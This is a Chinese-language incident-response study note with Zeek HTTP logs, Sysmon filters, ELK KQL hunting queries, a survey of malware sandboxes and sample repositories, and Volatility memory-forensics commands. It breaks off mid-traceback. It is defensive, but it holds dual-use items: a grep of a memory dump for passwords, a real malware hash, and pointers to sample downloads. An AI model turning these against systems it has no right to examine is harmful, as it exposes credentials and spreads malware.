      #fieldstsuidid.orig_hid.orig_pid.resp_hid.resp_ptrans_depthmethodhosturireferrerversionuser_agentoriginrequest_body_lenresponse_body_lenstatus_codestatus_msginfo_codeinfo_msgtagsusernamepasswordproxiedorig_fuidsorig_filenamesorig_mime_typesresp_fuidsresp_filenamesresp_mime_types
      #typestimestringaddrportaddrportcountstringstringstringstringstringstringstringcountcountcountstringcountstringset[enum]stringstringset[string]vector[string]vector[string]vector[string]vector[string]vector[string]vector[string]
      1754678828.272075CAuRo91flufxXutAke100.112.165.260665192.168.1.12550001GET192.168.1.125:5000/-1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36-024859200OK--(empty)------FA9Bk7Ikrr1LVrys-text/html
      1754678857.820963CIRhMK1X97Z1MzFRD1100.112.165.260676192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500015727200OK--(empty)---FIUrzJ3sbt6deYBXf3-text/plainFyILV9CHbcmUMGtc6-text/json
      1754678865.293310CZnidTF5LIgaMzbRe100.112.165.260677192.168.1.12550001POST192.168.1.125:5000/systemhttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:5000141185200OK--(empty)---Fvs6lg41SIyuYsReh2--FqFYD91bNrEWRNR501-text/json
      1754679070.738945CWlCIn4qK2ntw6CuJl100.112.165.260757192.168.1.12550001GET192.168.1.125:5000/-1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36-024859200OK--(empty)------FG2QH72aF2jeG9CYC9-text/html
      1754679165.228123C5V1Fn3nYAvFuSQeE100.112.165.260778192.168.1.12550001POST192.168.1.125:5000/systemhttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:5000141287200OK--(empty)---FnwtMr2TZ1qIS6LLmj--Fq827u4xABcX563I21-text/json
      1754679173.669096CWXpsv3zrBE7Lx66Sg100.112.165.260779192.168.1.12550001POST192.168.1.125:5000/systemhttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500014413177200OK--(empty)---FxvTqN3Pid7VWQP7y3--Fi4rGH32Y4P77kznf3-text/json
      1754679180.268390Co6odn3WTbf9HKGcO6100.112.165.260780192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500015728200OK--(empty)---FYW00SjDihqYC30xe-text/plainFQGbYm3SH1rsO8o9ng-text/json
      1754679196.383809CGjLWoznypKV0Pgt100.112.165.260809192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500016738200OK--(empty)---FVCJDglco6ai9lzi4-text/plainFB2a4L3x3ZELSSdCQ1-text/json
      1754679223.696243C0s1KA7ZrfQvnIpj100.112.165.260865192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500030851200OK--(empty)---FA2p79sD6MkhyaCEb-text/plainFwUGICEULGQRyBs78-text/json
      1754679257.891805CtwrhY2Kw9bscBOsX7100.112.165.260874192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500034755200OK--(empty)---FybSTDKXBk5dCiaYl-text/plainF55jsD1S1vWW8IVBY4-text/json
      1754679265.650887CFgfqH2IasZxXsovkd100.112.165.260875192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500030869200OK--(empty)---FtvRcZ3D5kRIP1ijy5-text/plainFTYdr5iKtJX11Efma-text/json
      1754679315.090163CEAuN63ly0lHS2zRrj100.112.165.260895192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500030869200OK--(empty)---Fyt7jP30AEKPs4C0Uj-text/plainF0zHt852ycC25Gpkf-text/json
      1754679319.217264CRWcyt2bda4K3g6Xub100.112.165.260912192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500036900200OK--(empty)---FUAgus1sr4pPeGnidg-text/plainFqnOWw20dfXD0koyIi-text/json
      1754679354.845803CulPOq3A9IP8ab4Zqd100.112.165.260981192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500048769200OK--(empty)---FZw17aZHAnZltVkJ-text/plainFQvAYSOVPIbUCfRm7-text/json
      1754679406.575000C9iy0scrJKJuDpi07100.112.165.261207192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:5000492621200OK--(empty)---FiejrYnJjwTaJ5db7-text/plainFKZoSb4yddnL4uzkZf-text/json
      1754679827.575533CV2dqm3aNuGOi4EC0h100.112.165.263113192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500036912200OK--(empty)---FDaXYp2bh8hJpHMYCi-text/plainFdsBU41nDrcCQ9mTV9-text/json
      1754679851.757452CWSzgl4AsTyJVyRpJf100.112.165.263213192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500044800200OK--(empty)---FAGwfWDdjCLhcrZX2-text/plainF89dhl1uFy7r4oRtf-text/json
      1754679859.655497C0LErP2jTxCqKmUESd100.112.165.263216192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500047781200OK--(empty)---FoNYJj2QlLyZkd9tEe-text/plainFUaGCH2RbcOlDQcaOi-text/json
      1754679875.655339CqC0qj2SMoQnSfaju6100.112.165.263217192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500031762200OK--(empty)---FRGjia4iHeyPzIDRC3-text/plainFwGgDTGi2gHDik2P5-text/json
      1754679999.499748CtN1Vk4RrwIRGOgwHc100.112.165.263280192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:5000142836200OK--(empty)---FFJx4j4PnbpIi0mfD6-text/plainFYpDmc37JMpCuz4Zac-text/json
      #close2025-09-27-22-26-52

      另外他也會根據 pcap 檔產生其他log ，參考網址：https://docs.zeek.org/en/master/logs/index.html

xml filter example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<QueryList>
  <Query Id="0" Path="Microsoft-Windows-Sysmon/Operational">
    <Select Path="Microsoft-Windows-Sysmon/Operational">
      *[
        System[
          (EventID=3)
          and TimeCreated[
            @SystemTime >= '2022-01-01T07:41:36.000Z'
            and @SystemTime <= '2022-10-02T07:41:36.999Z'
          ]
        ]
        and EventData[
          Data[@Name='ProcessGuid']='a79137ec-af0f-6338-b702-00000000e901'
        ]
      ]
    </Select>
  </Query>
</QueryList>

SIEM

Continuously, for ongoing detection and alerting

ELK Stack

直接用 docker 架起來的方式 : 連結

Elastic Common Schema (ECS)

字段類型描述KQL 範例
event.category將事件按大型邏輯類別分組，通常與”event.category”字段結合使用進行過濾搜索• event.category: authentication
• event.category: process
• event.category: file
• event.category: malware
• event.category: network
event.type作為子分類，通常與”event.category”字段結合使用過濾搜索• event.type: creation
• event.type: deletion
• event.type: access
event.outcome指示事件是否成功或失敗• event.outcome: success
• event.outcome: failure

Common Search Fields

字段KQL 範例輸出
@timestamp@timestamp: 2023-01-25事件發生時間的時間戳（事件來源於該時間而非更早或更晚）
agent.nameagent.name: “DESKTOP*”從代理名稱中搜索指定字符並顯示結果
messagemessage: powershell在任何含有”powershell”字符的消息中搜索
字段KQL 範例輸出
process.nameevent.category: process and process.name: svchost尋找進程名為svchost的所有進程
process.command_lineprocess.command_line: (cmd or “/c”)尋找使用cmd並且含有命令行參數為”/c”的進程
process.pidevent.category: process and process.pid: 4360尋找PID為4360的進程
process.parent.nameevent.category: process and process.parent.name: cmd.exe and process.name: powershell.exe尋找父進程為cmd.exe且該進程名為powershell的進程；尋找由cmd.exe父進程啟動的PowerShell進程
process.parent.pidevent.category: process and process.parent.pid: 1240尋找父進程PID為1240的進程
字段KQL 範例輸出
source.ipsource.ip: 127.0.0.1尋找源IP地址中的任何出站流量
destination.ipdestination.ip: 23.184.192.62尋找目的IP地址中的任何入站流量
destination.portdestination.port: 443尋找目的端口中的任何入站流量，例如目的端口443
dns.question.namedns.question.name: “www.youtube.com“尋找DNS查詢記錄查看DNS解析，包括網站youtube.com
dns.response_codedns.response_code: “NXDOMAIN”尋找DNS響應代碼的返回碼，包含NXDOMAIN
destination.geo.country_namedestination.geo.country_name: “Canada”尋找目的地理國家欄位，例如Canada
字段KQL 範例輸出
user.nameevent.category: “authentication” and user.name: john尋找用戶名john的登錄嘗試
winlog.logon.typeevent.category: “authentication” and winlog.logon.type: 3尋找logon type為3（網路登錄）的驗證事件
winlog.event_data.AuthenticationPackageNameevent.category: “authentication” and winlog.event_data.AuthenticationPackageName: “NTLM”尋找使用NTLM驗證包的驗證事件

常用查詢語法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
event.provider: "Microsoft-Windows-Sysmon" and event.code: 11  and winlog.event_data.TargetFilename  : *.aspx

# DNS相關查詢
agent.type : "packetbeat" and type:"dns"  
dns.question.registered_domain : "XXX"

# 程序監控
event.category: process and process.name: powershell.exe
process.command_line: *encoded* and event.category: process

# 網路流量分析
source.ip: 192.168.1.0/24 and destination.port: (443 or 80)
event.category: network and destination.geo.country_name: "China"

# 驗證事件
event.category: authentication and event.outcome: failure
winlog.event_id: 4625 and user.name: administrator

# 檔案操作
event.category: file and event.type: creation
file.extension: (exe or dll) and file.path: *temp*

DFIR

after an incident has occurred

CTI

Malware Analysis

  • Noriben

    • Noriben is a Python-based script that works in conjunction with Sysinternals Procmon to automatically collect, analyze, and report on runtime indicators of malware.
    • python Noriben.py launch the script

  • VirusTotal

    VirusTotal 是一個線上服務，讓使用者可以上傳檔案、URL、Domain、IP 或 Hash 進行分析，以檢測是否含有惡意軟體、惡意連結、釣魚等威脅，VirusTotal 內把多個防毒引擎、網頁掃描器、威脅情報來源彙整在一起，並且裡面會跑沙箱獲得惡意程式行為

    使用方式是在上方的搜尋欄輸入 Hash、IP、Domain，或至上傳頁面上傳惡意程式

    這裡介紹一下 VirusTotal 分析完後提供的頁面資訊

    Detection

    這個頁面提供了多家的 antivirus 引擎的偵測結果，會顯示出辨識的惡意程式家族與標籤

    Details

    這個頁面會列出惡意程式的大小、型態、雜湊，以及編譯、修改時間

    PE 結構（Sections、Imports/Exports）、簽章資訊、字串等

    Relations

    這個頁面會列出惡意程式連線的 IP、Domain

    以及執行惡意程式時產生的檔案

    Behavior

    這裡會列出惡意程式跑在多種沙箱中的行為

    當中會有 Network 的分析

    當中也有檔案的操作，包含檔案開啟、修改、刪除、創建

    Process 的創建以及 Command 的記錄

    Community

    這個頁面大多數會有人分享其他惡意程式檢測平台的 Report

  • ANY.RUN

    ANY.RUN 是一個互動式線上惡意程式沙箱，允許使用者在受控的虛擬環境中動態執行可疑檔案或網址，觀察其行為、網路活動、檔案／登錄表操作等等

    如果要使用它的沙箱功能，就像 VirusTotal 一樣可以直接丟惡意程式進去分析的話，會需要先註冊帳戶，如果不想註冊的話，可以直接前往 https://app.any.run/submissions 並使用 Hash 查詢有沒有人之前丟過的惡意程式

    假設我查詢 hash 為 ced525930c76834184b4e194077c8c4e7342b3323544365b714943519a0f92af 的惡意程式

    然後點選其中一個，也可以進入到沙箱分析結果頁面

    這邊介紹一下 Report 介面，首先可以先看右邊的功能列，功能包含你可以下載這個惡意程式，以及在惡意程式啟動時執行了什麼行為

    如果想要詳細分析其中一個檔案，點擊他就會出現詳細訊息

    點選 More Info 之後就會進入到這個程式的完整分析內容

    這個頁面有一個很方便的功能，它會列出惡意程式行為的嚴重程度，假設我想要了解 T1053.005 Scheduled Task (1) 這個行為，並且想要知道它下的 Cmdline，可以點擊下方的 Uses Task Scheduler to run other applications 就會跳出視窗並顯示詳細內容

    回到分析主頁，下方是顯示 Network 相關分析結果，也有看檔案操作的頁面

  • MalwareBazaar

    MalwareBazaar 是由 abuse.ch 所運營的惡意軟體樣本分享平台，旨在讓資安研究人員、antivirus 廠商、威脅情報團隊能夠更容易地交換與取得惡意軟體樣本，如果有想要查詢的惡意程式可以來這個網站查

    它有一個查詢的語法，需要照著它的語法不然會找不到

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    Search syntax is as follow: keyword:search_term

    Following is a list of accepted keywords along with an example search_term

    md5:1b109efade90ace7d953507adb1f1563 ( run)
    sha256:11b16ba733f2f4f10ac58021eecaf5668551a73e2a1acfae99745c50bfccbb44 ( run)
    signature:CobaltStrike ( run)
    tag:TA505 ( run)
    file_type:rtf ( run)
    user:malware_traffic ( run)
    clamav:SecuriteInfo.com.Artemis1FBB04F6EAF7.17086.UNOFFICIAL ( run)
    yara:win_asyncrat_j1 ( run)
    serial_number:51CD5393514F7ACE2B407C3DBFB09D8D ( run)
    issuer_cn:Sectigo RSA Code Signing CA ( run)
    imphash:756fdea446bc618b4804509775306c0d ( run)
    tlsh:8DD484F440EF10A2F25F852936ADBE9401B2B1C7DBDA5E08137DE5311BBDA633A0564D ( run)
    telfhash:52d0a7c198b4972c99e60578ed5c5bb29106216620070b20cf10a5d4d83b440f40db59 ( run)
    gimphash:b43f35a8610180bcb184238555a0858a6c160a2d872566e7e9633221308b34fd ( run)
    dhash_icon:f8dcbeffbffecee8 ( run)

    假設我現在要查sha256 是ced525930c76834184b4e194077c8c4e7342b3323544365b714943519a0f92af 的惡意程式

    這樣就成功找到了，首先會列出基本的訊息

    這個網站不錯的地方是它會去整理各大惡意程式檢測平台的 Report，並列出來 Report 網址或者檢測結果

  • Malpedia

    Malpedia 是由 Fraunhofer FKIE所維運的一個「惡意軟體百科 + 參考樣本集」平台，惡意軟體家族百科與研究資源，提供家族描述、別名、已知樣本參考、YARA 規則、相關研究連結。

    假設我們剛剛的 XWorm 惡意程式，可以直接在搜尋欄打上 XWorm

    這些皆是針對於 XWorm 的研究，可以點進去參考

    另外也可以尋找這是哪個組織發出來的

    可以在 Family 頁面中搜尋 XWorm

    點進去後可以看到這隻惡意程式相關的訊息，包含 Actor

    那這邊就可以看到 Actor 是 Hive0137

    點擊後可以看到該 Actor 的相關資訊

  • Triage

    Triage 是由 Hatching 提供的線上惡意程式沙箱台，用來自動執行、分析可疑檔案並生成行為報告，協助安全分析師快速篩選與分類威脅樣本。

    它可以像 VirusTotal 一樣上傳惡意程式並分析或者搜尋之前已經上傳過的惡意程式

    搜尋的方式就是點選右上角的 Search 後也是可以用 Hash 搜尋

    點進去後就會出現分析報告

    而如果是要上傳惡意程式，需要先進行登入，登入後上面列的 Submit 是上傳惡意程式的頁面

    上傳完後也會出現 Report 的頁面

    Report 頁面有包含

    • 環境與 metadata
    • 樣本基本資訊（雜湊、大小、評分、標籤）
    • 提取出的惡意設定（C2、安裝位置、檔案名）
    • 偵測簽章 / 行為標記
    • 進程行為
    • 網路行為
    • MITRE ATT&CK 對應技術
    • 可下載的記憶體 / 生成檔案

Memory Forensics

Volatility Framework

記憶體取證分析工具，用於分析記憶體映像檔案

pslist/pstree

可以幫助我們去查看這台電腦跑了什麼process，他們分析的方式是會根據Symbol Table 找到Windows Kernel的 PsActiveProcessHead 的位址，然後從那個鏈表開始沿 ActiveProcessLinks 指標逐一讀出 EPROCESS 結構並解析必要欄位，如：ImageFileName、UniqueProcessId、CreateTime、ExitTime 等

另外的pstree 以 pslist 的結果為基礎，轉成父子樹狀。

那如果參考 https://ithelp.ithome.com.tw/m/articles/10321120 或者 https://ithelp.ithome.com.tw/articles/10335699 的其中一個方式， 可以發現其實惡意程式是可以去將process 隱藏起來的，並且讓pslist 與 pstree 無法偵測，因此我們可以使用 psscan 嘗試去偵測

psscan

首先要說明，Windows kernel 在為許多核心物件（例如 EPROCESS、ETHREAD、FILE_OBJECT）分配記憶體時，會在 _POOL_HEADER 中放置一個 4-byte 的 pool tag，用來標示該分配的用途或來源。

psscan是一個使用 pool-tag scanning 的掃描器：它會在 memory dump 中搜尋_POOL_HEADER 與 pool tag，並且對找到的候選區塊做結構一致性檢查（例如欄位範圍、指標是否指向可讀記憶體、ProcessName 是否可讀等），來判定該區塊是否為一個有效的 EPROCESS／ETHREAD。因此，即使該程序物件已被從 kernel 的 active list unlink（例如被某些 rootkit 隱藏），只要其 pool 分配尚存在記憶體且尚未被覆寫，psscan 通常可以把它找到。

psxview

這個plugin 會將我們剛剛提到的pslist/pstree與psscan以及其他thrdscan、csrss作比較，如果沒有出現在相對應的掃描上就會出現 False， 否則就會出現 true，因此如果有一個process 他在pslist 出現False 但在psscan出現True 那就可以嘗試去分析看看是不是rootkit

System Profiling

分析項目插件命令行
識別作業系統版本imageinfopython vol.py -f memory.dump imageinfo
分析KDBG結構kdbgscanpython vol.py -f memory.dump --profile=Win7SP1x64 kdbgscan

Processes Analysis

分析項目插件命令行
程序列表pslistpython vol.py -f memory.dump --profile=Win7SP1x64 pslist
程序父子關係pstreepython vol.py -f memory.dump --profile=Win7SP1x64 pstree
掃描程序 (含隱藏/終止)psscanpython vol.py -f memory.dump --profile=Win7SP1x64 psscan
隱藏程序檢查psxviewpython vol.py -f memory.dump --profile=Win7SP1x64 psxview
程序詳細資訊psinfopython vol.py -f memory.dump --profile=Win7SP1x64 psinfo -p 1640
程序權限privspython vol.py -f memory.dump --profile=Win7SP1x64 privs -p 1640
程序執行緒threadspython vol.py -f memory.dump --profile=Win7SP1x64 threads -p 1640
程序SIDgetsidspython vol.py -f memory.dump --profile=Win7SP1x64 getsids -p 1640
程序令牌tokenspython vol.py -f memory.dump --profile=Win7SP1x64 tokens -p 1640
轉儲程序執行檔procdumppython vol.py -f memory.dump --profile=Win7SP1x64 procdump -p 1640 --dump-dir=./
虛擬位址描述符vadinfopython vol.py -f memory.dump --profile=Win7SP1x64 vadinfo -p 1640
VAD樹結構vadtreepython vol.py -f memory.dump --profile=Win7SP1x64 vadtree -p 1640
遍歷VADvadwalkpython vol.py -f memory.dump --profile=Win7SP1x64 vadwalk -p 1640

Network Connections

分析項目插件命令行
網路連線/網路活動netscanpython vol.py -f memory.dump --profile=Win7SP1x64 netscan

Persistence Techniques

分析項目插件命令行
註冊表鍵值printkeypython vol.py -f memory.dump --profile=Win7SP1x64 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run"
查找所有持久化機制autorunspython vol.py -f memory.dump --profile=Win7SP1x64 autoruns

Filesystem

分析項目插件命令行
解析MFT項目mftparserpython vol.py -f memory.dump --profile=Win7SP1x64 mftparser
掃描檔案物件filescanpython vol.py -f memory.dump --profile=Win7SP1x64 filescan
轉儲檔案dumpfilespython vol.py -f memory.dump --profile=Win7SP1x64 dumpfiles -Q 0x000000007e410890 --dump-dir=./

Advanced Analysis

分析項目插件命令行
掃描DLLdlllistpython vol.py -f memory.dump --profile=Win7SP1x64 dlllist -p 1640
檢查處理程序句柄handlespython vol.py -f memory.dump --profile=Win7SP1x64 handles -p 1640 -t Process,Thread
命令行歷史cmdlinepython vol.py -f memory.dump --profile=Win7SP1x64 cmdline
環境變數envarspython vol.py -f memory.dump --profile=Win7SP1x64 envars
記憶體字串搜尋stringsstrings memory.dump | grep -i password
轉儲程序記憶體memdumppython vol.py -f memory.dump --profile=Win7SP1x64 memdump -p 1640 --dump-dir=./

透過 Volatility 拿到 evtx

Volatility 2

1
vol.py -f ./memory.dmp --profile=Win10x64_14393 -g 0xf8004a000b20 filescan | grep '.evtx'

Volatility 3

1
vol -f memory.dmp windows.filescan | grep '.evtx'

我們可以利用 FileScan 的 pugin 幫助我們檢查是否有我們想要的檔案，圖片中可以得知到說確實有，接下來就可以將他們dump下來，Volatility 2 以及Volatility 3 的 Dumpfile 支援 regex ，可以使用它幫助我們找到所有我們需要的 evtx

Volatility 2

1
vol.py -f ./memory.dmp --profile=Win10x64_14393 -g 0xf8004a000b20  dumpfiles --regex .evtx$ --ignore-case --dump-dir output

Volatility 3

1
vol -f memory.dmp windows.dumpfiles.DumpFiles --filter .evtx$

這個指令簡單來說就是從memory.dump 中 將結尾為.evtx的檔案全部抓出來，也可以指定看你想要看什麼evtx，再去更改regex即可。

假設我想要dump Security.evtx下來看

Volatility 2

1
vol.py -f ./memory.dmp --profile=Win10x64_14393 -g 0xf8004a000b20 --regex Security.evtx$ --ignore-case --dump-dir output

Volatility 3

1
vol -f memory.dmp windows.dumpfiles.DumpFiles --filter Security.evtx$

圖片中發現成功Dump出來東西了，但是怎麼會有兩個檔案，而且這兩個檔案一個是 vacb ，一個是 dat，跟 evtx 的關係不是說沒有感覺是一點關係都沒有，那什麼是 vacb，什麼是 dat ?

  • vacb : Caching Data
  • dat : Less Fragile File

簡單來說這兩個都儲存了 evtx 的資料，只是 dat 的儲存方式比較穩定可靠

因此其實也可以直接把 vacb 或 dat 副檔名直接改成 evtx ，就可以直接用內建的 Event viewer 查看

但另外其實也可以用Evtxcmd 將它變成 CSV 檔查看

根據 https://github.com/EricZimmerman/evtx?tab=readme-ov-file 官方給的使用說明，可以使用以下指令將我們的 evtx 轉換成 csv 

1
.\EvtxECmd.exe -f "..\..\file.0xca82b31c5990.0xca82b3848c70.SharedCacheMap.Security.evtx.vacb" --csv ./

接下來就可以獲得一個csv檔，並且裡面的內容是evtx的內容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
PS C:\Users\yunshiuan\Desktop\net9\EvtxeCmd > .\EvtxECmd.exe -f "..\..\file.0xca82b31c5990.0xca82b3848c70.SharedCacheMap.Security.evtx.vacb" --csv ./
EvtxECmd version 1.5.2.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/evtx

Command line: -f ..\..\file.0xca82b31c5990.0xca82b3848c70.SharedCacheMap.Security.evtx.vacb --csv ./

Warning: Administrator privileges not found!

CSV output will be saved to ./20250904074916_EvtxECmd_Output.csv

Maps loaded: 453

Processing C:\Users\yunshiuan\Desktop\file.0xca82b31c5990.0xca82b3848c70.SharedCacheMap.Security.evtx.vacb...
Chunk count: 30, Iterating records...
Record # 68 (Event Record Id: 68): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 68 (Event Record Id: 68): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 69 (Event Record Id: 69): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 69 (Event Record Id: 69): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 70 (Event Record Id: 70): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 70 (Event Record Id: 70): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 71 (Event Record Id: 71): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 71 (Event Record Id: 71): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 72 (Event Record Id: 72): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 72 (Event Record Id: 72): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 73 (Event Record Id: 73): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 73 (Event Record Id: 73): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 78 (Event Record Id: 78): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 78 (Event Record Id: 78): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 79 (Event Record Id: 79): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 79 (Event Record Id: 79): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 83 (Event Record Id: 83): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessName"] not found! Replacing with empty string
Record # 83 (Event Record Id: 83): In map for event 4718, Property /Event/EventData/Data[@Name="ProcessId"] not found! Replacing with empty string
Record # 2529 (Event Record Id: 2529): In map for event 1100, Property /Event/UserData[@Name="ServiceShutdown"] not found! Replacing with empty string

Event log details
Flags: IsDirty
Chunk count: 30
Stored/Calculated CRC: B5FC0719/B5FC0719
Earliest timestamp: 2024-01-31 23:47:41.1765022
Latest timestamp:   2024-02-01 19:48:31.0253493
Total event log records found: 246

Records included: 246 Errors: 0 Events dropped: 0

Metrics (including dropped events)
Event ID        Count
1100            1
4608            2
4624            58
4625            1
4647            1
4648            7
4672            51
4688            23
4696            2
4717            10
4718            9
4720            1
4725            2
4728            1
4731            11
4732            3
4735            11
4738            6
4739            1
4797            5
4798            7
4799            3
4826            2
4902            2
4907            1
5024            1
5033            1
5379            23

Processed 1 file in 1.8517 seconds

之後就可以用Timeline Explorer 或其他可以開 csv 的軟體去做想要的Event ID查詢或者字串的搜尋。

Malware Detection

分析項目插件命令行
檢查程序注入malfindpython vol.py -f memory.dump --profile=Win7SP1x64 malfind
Hook檢測apihookspython vol.py -f memory.dump --profile=Win7SP1x64 apihooks
SSDT Hook檢測ssdtpython vol.py -f memory.dump --profile=Win7SP1x64 ssdt
驅動程式掃描driverscanpython vol.py -f memory.dump --profile=Win7SP1x64 driverscan

如果你在 Win10 的記憶體 dump 使用 Volatility 2 的 psscan 時，有可能會出現以下的錯誤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ vol.py -f MemoryDump.mem --profile=Win10x64_19041 psscan

Volatility Foundation Volatility Framework 2.6.1
Offset(P)          Name                PID   PPID PDB                Time created                   Time exited
------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------
WARNING : volatility.debug    : Cannot find nt!ObGetObjectType
WARNING : volatility.debug    : Cannot find nt!ObGetObjectType
Traceback (most recent call last):
  File "/usr/local/bin/vol.py", line 192, in <module>
    main()
  File "/usr/local/bin/vol.py", line 183, in main
    command.execute()
  File "/usr/local/lib/python2.7/dist-packages/volatility/commands.py", line 147, in execute
    func(outfd, data)
  File "/usr/local/lib/python2.7/dist-packages/volatility/plugins/filescan.py", line 428, in render_text
    for eprocess in data:
  File "/usr/local/lib/python2.7/dist-packages/volatility/poolscan.py", line 252, in scan
    skip_type_check = skip_type_check)
  File "/usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/windows/windows.py", line 1258, in get_object
    return self.get_object_top_down(struct_name, object_type, skip_type_check)
